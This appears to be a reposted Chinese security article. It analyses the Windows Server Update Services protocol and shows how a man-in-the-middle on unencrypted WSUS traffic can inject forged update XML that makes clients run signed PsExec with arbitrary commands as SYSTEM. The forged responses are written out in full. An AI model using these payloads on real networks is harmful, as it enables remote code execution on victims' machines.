
        <html>
			<head>
			     <title>Windows更新+中间人=远程命令执行 - 小飞</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/10558">http://drops.wooyun.org/tips/10558</a></h1>
				
      <p>
        <h1>0x00 Windows Server Update Services</h1>

<hr />

<p>WSUS是Windows Server Update Services的简称。利用这个windows服务,管理员只需要保证局域网中的一台主机能够连接到MicroSoftUpdate服务器，就能实现内网中所所有主机快速地进行windows更新。</p>

<p>简而言之，内网中的WSUS服务器就是windows官方更新服务器的代理。WSUS服务器通过互联网取得官方的windows update，并且缓存到本地。管理员只需要在wsus上选择哪些补丁需要更新，就能通过<strong>HTTP</strong>/HTTPS协议快速地将各种ms-2015-&#42;*&#42;|||&#42;部署到内网中的其他服务器中去，这样即使是由于种种原因不能暴露在英特网中的内网主机（比如oracle数据库服务器）也能通过WSUS及时下载补丁，大大增加了内网的安全性，实现了细粒化管理。所以很多中大型网络都会部署wsus服务器来实现内网安全加固。</p>

<p>由于wsus是基于c/s模式的，所以server和client我们都需要进行配置。 client机器上在注册表中存储了wsus服务器的地址</p>

<!--more-->

<pre><code>HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\W UServer
</code></pre>

<p>比如存储的内容可能是这样的 <code>http://wsus01:8530</code>. Port 8530 是wsus部署的默认端口。</p>

<h1>0x01 WSUS 协议分析</h1>

<hr />

<p>wsus利用SOAP XML实现c/s之间的通信，当client主机首次连入wsus-server的时候，会有一个这样的注册过程。</p>

<p><img src="http://static.wooyun.org//drops/20151121/2015112106260576738.jpg" alt="" /></p>

<p>一旦完成了这样的注册流程，client主机就能进行定时更新检查了。(只要上述的cookies不过期)</p>

<p><img src="http://static.wooyun.org//drops/20151121/2015112106260538931.jpg" alt="" /></p>

<p>这里我们详细分析一下每一个请求</p>

<pre><code>SOAP Call                     请求                       响应
SyncUpdates (硬件驱动)       本机硬件列表               可更新的驱动列表
SyncUpdates (软件）         已经安装的更新的id列表   新可用更新列表以及metadata
GetExtendedUpdateInfo      具体地update id       对应此id的详尽的metadata,包括下载地址,hash..
</code></pre>

<p>可以看到wsus服务其实非常好理解：</p>

<p>一个SyncUpdates到wsus服务器获取可更新的id以及id对应的一些解释数据，本机通过这些解释数据决定安装哪个（些）补丁，并且发送GetExtendedUpdateInfo，获得详细的信息进行安装。</p>

<p>下面是一个SyncUpdates响应的例子</p>

<h2>Example of wsus-server to cilent</h2>

<pre><code>#!xml
&lt;UpdateIdentity UpdateID="53979536-176e-46c2-9f61-bcf68381c065"     RevisionNumber="206" /&gt;
&lt;Properties UpdateType="Software" /&gt;
&lt;Relationships&gt;
    &lt;Prerequisites&gt;
        &lt;UpdateIdentity UpdateID="59653007-e2e9-4f71-8525-2ff588527978" /&gt;          &lt;UpdateIdentity UpdateID="71c1e8bb-9a5d-4e56-a456-10b0624c7188" /&gt;      &lt;/Prerequisites&gt;
&lt;/Relationships&gt;
&lt;ApplicabilityRules&gt;
    &lt;IsInstalled&gt;
    &lt;b.FileVersion Version="6.1.7601.22045" Comparison="GreaterThanOrEqualTo"
Path="\conhost.exe" Csidl="37" /&gt;
    &lt;/IsInstalled&gt;
    &lt;IsInstallable&gt;
        &lt;Not&gt;
      &lt;CbsPackageInstalledByIdentity
PackageIdentity="InternetExplorer-Package~11.2.9600.16428" /&gt; &lt;/Not&gt;
    &lt;/IsInstallable&gt;
</code></pre>

<p>那么一旦client决定了要装哪些更新就会再发一个GetExtenedUpdateInfo到wsus-server</p>

<h2>Example of client to wsus-server（GetExtendedUpdateInfo request）</h2>

<pre><code>#!xml
&lt;soap:Envelope&gt;&lt;soap:Body&gt;
&lt;GetExtendedUpdateInfo&gt;
    &lt;cookie&gt;首次连接注册的cookies&lt;/cookie&gt; 
    &lt;revisionIDs&gt;
        &lt;int&gt;13160722&lt;/int&gt;
        &lt;int&gt;16753458&lt;/int&gt;
        &lt;int&gt;17212691&lt;/int&gt; 
        &lt;int&gt;17212692&lt;/int&gt;
    &lt;/revisionIDs&gt;
    &lt;infoTypes&gt;
        &lt;XmlUpdateFragmentType&gt;Extended&lt;/XmlUpdateFragmentType&gt;             &lt;XmlUpdateFragmentType&gt;LocalizedProperties&lt;/XmlUpdateFragmentType&gt;          &lt;XmlUpdateFragmentType&gt;Eula&lt;/XmlUpdateFragmentType&gt;     &lt;/infoTypes&gt;                                    &lt;locales&gt;
        &lt;string&gt;en-US&lt;/string&gt;
        &lt;string&gt;en&lt;/string&gt;                         &lt;/locales&gt;                              
&lt;/GetExtendedUpdateInfo&gt;
&lt;/soap:Body&gt;&lt;/soap:Envelope&gt;
</code></pre>

<p>wsus接着给出响应</p>

<h2>Example of GetExtendedUpdateInfo response</h2>

<pre><code>#!xml
&lt;soap:Envelope&gt;&lt;soap:Body&gt;
&lt;GetExtendedUpdateInfoResponse&gt;&lt;GetExtendedUpdateInfoResult&gt;    &lt;Updates&gt;
    &lt;Update&gt;
        &lt;ID&gt;17212691&lt;/ID&gt;
        &lt;Xml&gt;&amp;lt;ExtendedProperties...&amp;lt;/HandlerSpecificData&amp;gt;&lt;/Xml&gt; &lt;/Update&gt;  
    &lt;Update&gt;
        &lt;ID&gt;17212692&lt;/ID&gt;
        &lt;Xml&gt;&amp;lt;ExtendedProperties...&amp;lt;/HandlerSpecificData&amp;gt;&lt;/Xml&gt; &lt;/Update&gt;
...                                                 &lt;/Updates&gt;
&lt;FileLocations&gt;
    &lt;FileLocation&gt; 
        &lt;FileDigest&gt;tXa3bCw4XzkLd/Fyfs2ATZcYgh8=&lt;/FileDigest&gt;
          &lt;Url&gt;http://wsus-server:8530/Content/1F/B576B76C2C385F39.cab&lt;/Url&gt; &lt;/FileLocation&gt;
    &lt;FileLocation&gt;
        &lt;FileDigest&gt;OzTUyOLCmjlK08U2VJNHw3rfpzQ=&lt;/FileDigest&gt;
          &lt;Url&gt;http://wsus-server:8530/Content/34/3B34D4C8E2C29A39.cab&lt;/Url&gt; &lt;/FileLocation&gt;                                        &lt;/FileLocations&gt;
&lt;/GetExtendedUpdateInfoResult&gt;
&lt;/GetExtendedUpdateInfoResponse&gt;
&lt;/soap:Body&gt;&lt;/soap:Envelope&gt;
</code></pre>

<p>需要说明的是，每一个update标签就是一个更新线程，然而最为重要的metadada标签<xml>在MSDN文档中却并没有详细解释。我们自己来分析一个看看</p>

<pre><code>#!xml
&lt;ExtendedProperties DefaultPropertiesLanguage="en" Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/WindowsInstaller" MaxDownloadSize="3077548" MinDownloadSize="0"&gt;
  &lt;InstallationBehavior RebootBehavior="CanRequestReboot" /&gt;
&lt;UninstallationBehavior /&gt;
&lt;/ExtendedProperties&gt;
&lt;Files&gt;
    &lt;File Digest="OzTUyOLCmjlK08U2VJNHw3rfpzQ=" DigestAlgorithm="SHA1"          FileName="infopath-x-none.cab"  Size="3077548"          Modified="2013-12-18T21:44:08.38Z" PatchingType="SelfContained"&gt;
        &lt;AdditionalDigest Algorithm="SHA256"&gt;FS28f... ohVcFKbaG4=&lt;/AdditionalDigest&gt; 
    &lt;/File&gt;     
&lt;/Files&gt;
    &lt;HandlerSpecificData type="msp:WindowsInstaller"&gt;
    &lt;MspData CommandLine="DISABLESRCPROMPT=1 LOCALCACHESRCRES=0 NOLOCALCACHEROLLBACK=1" 
    UninstallCommandLine="DISABLESRCPROMPT=1 LOCALCACHESRCRES=0
        NOLOCALCACHEROLLBACK=1"
    FullFilePatchCode="{39767eca-1731-45db-ab5b-6bf40e151d66}" /&gt;
&lt;/HandlerSpecificData&gt;
</code></pre>

<p>其中<code>&lt;HandlerSpecificData&gt;</code>标签指定了目标程序由哪个handler来进行安装。 windows提供了如下几种handler供指定</p>

<ol>
<li>Cbs (Cab file)</li>
<li>WindowsDriver</li>
<li>WindowsInstaller</li>
<li>WindowsPatch</li>
<li>InfBasedInstallation</li>
<li>CommandLineInstallation</li>
</ol>

<p>其中CommandLineInstallation这个handler允许单个可执行文件加任意参数被运行。适合我们的目的</p>

<p>所以，这里我们关注这个handler进行讨论</p>

<h2>handler分析</h2>

<p>二话不说先给出一个<code>&lt;xml&gt;</code>标签实例，这是安装 Malicious Software Removal tool（微软公司出品的，用于检测和删除特殊流行的恶意软件的工具）的Metadata</p>

<pre><code>#!xml
&lt;ExtendedProperties DefaultPropertiesLanguage="en"
        Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/          CommandLineInst allation"
        MaxDownloadSize="41837240" MinDownloadSize="0"&gt;
    &lt;InstallationBehavior RebootBehavior="CanRequestReboot" /&gt;
&lt;/ExtendedProperties&gt;
&lt;Files&gt;
    &lt;File Digest="sJRqIvCrdbpZvP18wDS2HbwhFUE=" DigestAlgorithm="SHA1"              FileName="Windows-KB890830-x64-V5.22.exe"
            Size="41837240" Modified="2015-02-27T15:54:52Z"&gt;
        &lt;AdditionalDigest Algorithm="SHA256"&gt;robj...WY0=&lt;/AdditionalDigest&gt;     &lt;/File&gt;
&lt;/Files&gt;
&lt;HandlerSpecificData type="cmd:CommandLineInstallation"&gt;
&lt;InstallCommand  Arguments="/Q /W"                           Program="Windows-KB890830-x64-V5.22.exe"                   RebootByDefault="false"                         DefaultResult="Succeeded"&gt;
&lt;ReturnCode Reboot="true" Result="Succeeded" Code="3010" /&gt;  &lt;ReturnCode Reboot="false" Result="Failed" Code="1603" /&gt;  &lt;ReturnCode Reboot="false" Result="Failed" Code="-2147024894" /&gt;
&lt;/InstallCommand&gt;
&lt;/HandlerSpecificData&gt;
</code></pre>

<p>其中具体的安装过程就在<code>&lt;InstallCommand&gt;</code>那儿了</p>

<h1>0x02 Http有毒</h1>

<hr />

<p>将整个wsus流程分析清楚了。我们再来考虑一下基于wsus的安全问题，不知道大家是否注意到，前文曾经提到过</p>

<p>管理员只需要在wsus上选择哪些补丁需要更新，就能通过<strong>HTTP</strong>/HTTPS协议快速地将各种ms-2015-&#42;*&#42;|||&#42;部署到内网中的其他服务器中去</p>

<p>而http协议在内网中简直就是毒药。 最令人遗憾的是，截止到最新的版本，wsus依然使用http作为默认的同学协议，只是在安装完毕的wizard界面向管理员建议部署ssl通信（谁会去看那个？）</p>

<p><img src="http://static.wooyun.org//drops/20151121/2015112106260658488.jpg" alt="" /></p>

<p>所以我们完全有能力在内网中通过中间人篡改metadata实现攻击（以system权限）。而且<strong>攻击一定会奏效</strong>，因为wsus部署好之后，client的update check是定期的，所以肯定能够伪造一个新更新，迫使用户安装。</p>

<h1>0x03 windows签名验证的绕过到中间人远程命令执行</h1>

<hr />

<p>可惜如果你们觉得通过中间人篡改metadata就能装个驱动马到主机上，那就too young了。</p>

<p>MSDN上面有这么一段话</p>

<blockquote>
  <p>All update packages that are downloaded by Windows Update are signed with a Microsoft signature.（所有更新包必须带有微软签名才能被下载并安装）</p>
</blockquote>

<p>所以现在有两种办法来解决问题</p>

<ol>
<li>给你的木马加一个微软的签</li>
<li>另辟蹊径</li>
</ol>

<p>恩。。我们直接想第二种办法。 windows Update会验证每个更新是否被微软公司签名，然而，签名证书并不需要指明是用来“windows update” 这就是说，任何被微软签名的可执行程序都能被作为更新包被安装并运行。<br />
想象一下，假如我们能够伪造一个cmd.exe的更新呢，加上前面又提到，在xml标签里面是可以指定运行参数的，那我们就能够通过中间人执行任意命令了！<br />
冷静冷静，我们的微软并没有给cmd.exe签名。</p>

<p>但是psExec确乎是被微软签名了，psexec的作用这里不解释，大家都懂<br />
所以我们完全有能力将psexec运行在NT AUTHORITY\SYSTEM下。所以，pwned~</p>

<h1>0x04 Pwn</h1>

<hr />

<p>这是一个没有经过篡改的SyncUpdate 响应（用来告诉client现在有哪些更新可用）</p>

<pre><code>#!xml
&lt;soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt;
&lt;soap:Body&gt;
&lt;SyncUpdatesResponse
    xmlns="http://www.microsoft.com/SoftwareDistribution/Server/            ClientWebService "&gt;
&lt;SyncUpdatesResult&gt;
&lt;NewUpdates&gt;&lt;/NewUpdates&gt;   
&lt;Truncated&gt;false&lt;/Truncated&gt;                    &lt;NewCookie&gt;
&lt;Expiration&gt;2015-07-17T10:06:59Z&lt;/Expiration&gt;
&lt;EncryptedData&gt;qIbM...RtXw0VdZg==&lt;/EncryptedData&gt; &lt;/NewCookie&gt;  &lt;DriverSyncNotNeeded&gt;false&lt;/DriverSyncNotNeeded&gt;
&lt;/SyncUpdatesResult&gt;
&lt;/SyncUpdatesResponse&gt;
&lt;/soap:Body&gt;&lt;/soap:Envelope&gt;
</code></pre>

<p>而我们的通过在上面为空的NewUpdates标签中插入内容，就能伪造更新</p>

<p>通过大量测试我们发现一个windows update需要两个<code>&lt;UpdateInfo&gt;</code>元素，其中一个必须含有<code>&lt;Action&gt;Install&lt;/Action&gt;</code>标签，另一个必须含有<code>&lt;Action&gt;Bundle&lt;/Action&gt;</code> 标签，install标签提供了更新标题诸如此类的，而bundle标签则提供更新文件。</p>

<pre><code>#!xml
&lt;NewUpdates&gt;                                    &lt;!-- Start of injected content --&gt;
&lt;UpdateInfo&gt;
&lt;ID&gt;17999990&lt;/ID&gt;                               &lt;Deployment&gt;
&lt;ID&gt;899990&lt;/ID&gt;
&lt;Action&gt;Bundle&lt;/Action&gt;
&lt;IsAssigned&gt;true&lt;/IsAssigned&gt;
&lt;LastChangeTime&gt;2015-04-15&lt;/LastChangeTime&gt;
&lt;AutoSelect&gt;0&lt;/AutoSelect&gt;
&lt;AutoDownload&gt;0&lt;/AutoDownload&gt;
&lt;SupersedenceBehavior&gt;0&lt;/SupersedenceBehavior&gt;  &lt;FlagBitmask&gt;0&lt;/FlagBitmask&gt;
&lt;/Deployment&gt;
&lt;IsLeaf&gt;true&lt;/IsLeaf&gt;
&lt;Xml&gt;
&lt;!-- This would XML-encoded inside the Xml tag --&gt;
&lt;UpdateIdentity UpdateID="969e0d46-7f67-4c81-b672-3c1c4a36c00e"
RevisionNumber="201" /&gt;
&lt;Properties UpdateType="Software" /&gt;
&lt;Relationships&gt;
&lt;Prerequisites&gt; 
&lt;UpdateIdentity UpdateID="6407468e-edc7-4ecd-8c32-521f64cee65e" /&gt;
&lt;/Prerequisites&gt;
&lt;/Relationships&gt;
&lt;ApplicabilityRules&gt;
&lt;IsInstalled&gt;
&lt;b.FileExists Csidl="41" Path="\15151245.exe" /&gt; &lt;!-- This file shouldn't
exist --&gt;
&lt;/IsInstalled&gt;
&lt;IsInstallable&gt;
&lt;b.FileExists Csidl="41" Path="\mswsock.dll" /&gt; &lt;!-- This does exist --&gt;
&lt;/IsInstallable&gt;
&lt;/ApplicabilityRules&gt;
&lt;/Xml&gt;
&lt;/UpdateInfo&gt;
&lt;UpdateInfo&gt;
&lt;ID&gt;17999991&lt;/ID&gt;
&lt;Deployment&gt;
&lt;ID&gt;899991&lt;/ID&gt;
&lt;Action&gt;Install&lt;/Action&gt;
&lt;IsAssigned&gt;true&lt;/IsAssigned&gt;
&lt;LastChangeTime&gt;2015-04-15&lt;/LastChangeTime&gt;
&lt;AutoSelect&gt;0&lt;/AutoSelect&gt; &lt;!-- This must be 0 according to docs, WU
ignores it --&gt;                                  &lt;AutoDownload&gt;0&lt;/AutoDownload&gt; &lt;!-- same --&gt;
&lt;SupersedenceBehavior&gt;0&lt;/SupersedenceBehavior&gt;
&lt;FlagBitmask&gt;0&lt;/FlagBitmask&gt;
&lt;/Deployment&gt;
&lt;IsLeaf&gt;true&lt;/IsLeaf&gt;
&lt;Xml&gt;
&lt;!-- This should be XML encoded inside the Xml tag --&gt;
&lt;UpdateIdentity UpdateID="853ea117-355b-4c1e-96ce-fab9c977a8e7"
    RevisionNumber="201" /&gt;
&lt;Properties UpdateType="Software" ExplicitlyDeployable="true"
    AutoSelectOnWebSites="true"/&gt;
&lt;Relationships&gt;
&lt;Prerequisites&gt;
&lt;UpdateIdentity UpdateID="6407468e-edc7-4ecd-8c32-521f64cee65e" /&gt; &lt;!--
    Requires Windows 10 --&gt;
&lt;/Prerequisites&gt;
&lt;BundledUpdates&gt;
&lt;UpdateIdentity UpdateID="969e0d46-7f67-4c81-b672-3c1c4a36c00e"
RevisionNumber="201" /&gt;
    &lt;/BundledUpdates&gt;
&lt;/Relationships&gt;
&lt;/Xml&gt;  &lt;/UpdateInfo&gt;   &lt;!-- End of injected content --&gt;
&lt;/NewUpdates&gt;
</code></pre>

<p>于是乎，client会就刚刚两个id发出GetExtendedUpdateInfo请求，要求wsus服务器返回详细的安装消息</p>

<pre><code>#!xml
&lt;revisionIDs&gt;
&lt;int&gt;17999990&lt;/int&gt; 
&lt;int&gt;17999991&lt;/int&gt;
&lt;/revisionIDs&gt;
&lt;infoTypes&gt;
&lt;XmlUpdateFragmentType&gt;Extended&lt;/XmlUpdateFragmentType&gt;
&lt;XmlUpdateFragmentType&gt;LocalizedProperties&lt;/XmlUpdateFragmentType&gt;
&lt;/infoTypes&gt;
</code></pre>

<p>中间人这时再次将请求包中的两个id剔除，以免wusu服务器因为不存在的更新报错。当wsus服务器响应之后，我们再将响应内容篡改，这次我们加入四个更新标签</p>

<pre><code>#!xml
&lt;soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt;
&lt;soap:Body&gt;&lt;GetExtendedUpdateInfoResponse
xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService"&gt;
&lt;GetExtendedUpdateInfoResult&gt;
&lt;Updates&gt;
&lt;Update&gt;
&lt;ID&gt;17999990&lt;/ID&gt;
&lt;Xml&gt;
 &lt;!-- This should be XML encoded inside the Xml tag --&gt;
&lt;ExtendedProperties DefaultPropertiesLanguage="en"
 Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineI
nstallation"
MaxDownloadSize="847040" MinDownloadSize="0"&gt;
&lt;InstallationBehavior RebootBehavior="NeverReboots" /&gt;
&lt;/ExtendedProperties&gt;
&lt;Files&gt;
&lt;File Digest="HO4/qEGb30y8JmRhJ34/3ZuT3iU=" DigestAlgorithm="SHA1"
FileName="PsExec.exe" Size="847040" Modified="2015-02-27T15:54:52Z"&gt;
&lt;AdditionalDigest
Algorithm="SHA256"&gt;A2LNbnsxirmkx02vIp8Ru3laLOVT6gJMtJFDRWwnxB0=&lt;/AdditionalDig
est&gt;
&lt;/File&gt;
&lt;/Files&gt;
&lt;HandlerSpecificData type="cmd:CommandLineInstallation"&gt;
&lt;InstallCommand Arguments="/accepteula cmd /c calc.exe"
Program="Windows-KB890830-V5.22.exe"
RebootByDefault="false" DefaultResult="Succeeded"&gt;
&lt;ReturnCode Reboot="true" Result="Succeeded" Code="3010" /&gt;
&lt;ReturnCode Reboot="false" Result="Failed" Code="1603" /&gt;
&lt;ReturnCode Reboot="false" Result="Failed" Code="-2147024894" /&gt;
&lt;/InstallCommand&gt;
&lt;/HandlerSpecificData&gt;
 &lt;/Xml&gt;
 &lt;/Update&gt;
 &lt;Update&gt;
&lt;ID&gt;17999991&lt;/ID&gt;
  &lt;Xml&gt;
 &lt;!-- This should be XML encoded inside the Xml tag --&gt;
&lt;ExtendedProperties DefaultPropertiesLanguage="en" MsrcSeverity="Important"
 IsBeta="false"&gt;
 &lt;SupportUrl&gt;http://support.microsoft.com&lt;/SupportUrl&gt;
  &lt;SecurityBulletinID&gt;MS15-041&lt;/SecurityBulletinID&gt;
 &lt;KBArticleID&gt;3037581&lt;/KBArticleID&gt;
  &lt;/ExtendedProperties&gt;
 &lt;/Xml&gt;
 &lt;/Update&gt;
 &lt;Update&gt;
&lt;ID&gt;17999990&lt;/ID&gt;
  &lt;Xml&gt;
 &lt;!-- This should be XML encoded inside the Xml tag --&gt;
 &lt;LocalizedProperties&gt;
&lt;Language&gt;en&lt;/Language&gt;
 &lt;Title&gt;anything-in-here&lt;/Title&gt;
  &lt;/LocalizedProperties&gt;
 &lt;/Update&gt;
&lt;/Xml&gt;
  &lt;Update&gt;
&lt;ID&gt;17999991&lt;/ID&gt;
  &lt;Xml&gt;
 &lt;!-- This should be XML encoded inside the Xml tag --&gt;
 &lt;LocalizedProperties&gt;
&lt;Language&gt;en&lt;/Language&gt;
 &lt;Title&gt;A fake update&lt;/Title&gt;
 &lt;Description&gt;Will do bad things&lt;/Description&gt;
 &lt;UninstallNotes&gt;...&lt;/UninstallNotes&gt;
 &lt;MoreInfoUrl&gt;http://support.microsoft.com/kb/3037581&lt;/MoreInfoUrl&gt;
  &lt;SupportUrl&gt;http://support.microsoft.com&lt;/SupportUrl&gt;
   &lt;/LocalizedProperties&gt;
 &lt;/Xml&gt;
 &lt;/Update&gt;
 &lt;/Updates&gt;
 &lt;FileLocations&gt;
 &lt;FileLocation&gt;
&lt;FileDigest&gt;HO4/qEGb30y8JmRhJ34/3ZuT3iU=&lt;/FileDigest&gt;
 &lt;Url&gt;**http://fake-updates/ClientWebService/psexec/BgInfo.exe**&lt;/Url&gt;
  &lt;/FileLocation&gt;
 &lt;/FileLocations&gt;
&lt;/GetExtendedUpdateInfoResult&gt;&lt;/GetExtendedUpdateInfoResponse&gt;
</code></pre>

<p>一旦client机收到这个响应，就会根据更新类型自动或提醒用户安装。比如在上例中，就能启动一个带参运行的Psexec。</p>

<h1>0x05 Source</h1>

<hr />

<ul>
<li><a href="http://www.contextis.com/documents/161/CTX_WSUSpect_White_Paper.pdf">http://www.contextis.com/documents/161/CTX&#95;WSUSpect&#95;White_Paper.pdf</a></li>
<li>pocket: <a href="https://github.com/ctxis/wsuspect-proxy">https://github.com/ctxis/wsuspect-proxy</a></li>
</ul>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          